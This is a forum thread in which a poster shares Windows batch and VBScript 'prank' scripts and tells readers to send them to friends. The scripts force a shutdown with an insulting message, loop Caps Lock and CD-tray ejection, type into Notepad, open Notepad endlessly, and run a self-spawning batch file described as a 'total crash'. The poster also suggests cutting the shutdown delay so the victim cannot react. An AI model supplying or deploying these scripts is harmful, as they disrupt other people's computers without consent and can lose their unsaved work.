tricks to freak normal people (.VBS .BAT)

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tricks to freak normal people (.VBS .BAT)

Post by l0ngb1t »

well i've been messing around with the followings code for like a year
and why not to share it with you...
very simple but funny

Convey your friend a lil' message and shut down his / her computer:

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@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.
Toggle your friend's Caps Lock button simultaneously:

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Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

to make the scropt jit enter simultaneously replce the "{CAPSLOCK}" with "~"
Save it as "Anything.VBS" and send it.
this one is my favorite
Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!

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Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save it as anything.vbs
Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:


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WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

Open Notepad continually in your friend's computer:

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@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
and my 2sd favorite one

open a notepad type

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start
start
start
start
anything.bat
and save it as anything.bat :lol: :lol: total crash looool

enjoy it, i know it's very simple but funny lol[/code]
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Post by Gogeta70 »

They can be funny, but they're something you should never take too far. Just remember this isn't hacking - it's just script kiddy stuff.
¯\_(ツ)_/¯ It works on my machine...

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Post by l0ngb1t »

as i said before it's just for funnnnnnn
i know it's not hacking or anything it's just for fun, if you want freak out your normal friends
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Post by ayu »

You could add a timeout (-t sec) on the first one :) Don't think they will actually see the message like it is now.
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Post by l0ngb1t »

cats wrote:You could add a timeout (-t sec) on the first one :) Don't think they will actually see the message like it is now.

yeah you are right
but according to my experience the shutdown -s gives you 30 sec hold on time before it shutdown the pc
but still we can shorten the time to prevent the user from doing anything lol
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Lol, I like doing stuff like that to my friends :lol:
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Post by l0ngb1t »

hahaha yeah such thing are funny at the beginning but make sure you go further then some simple tricks
enjoy it mate
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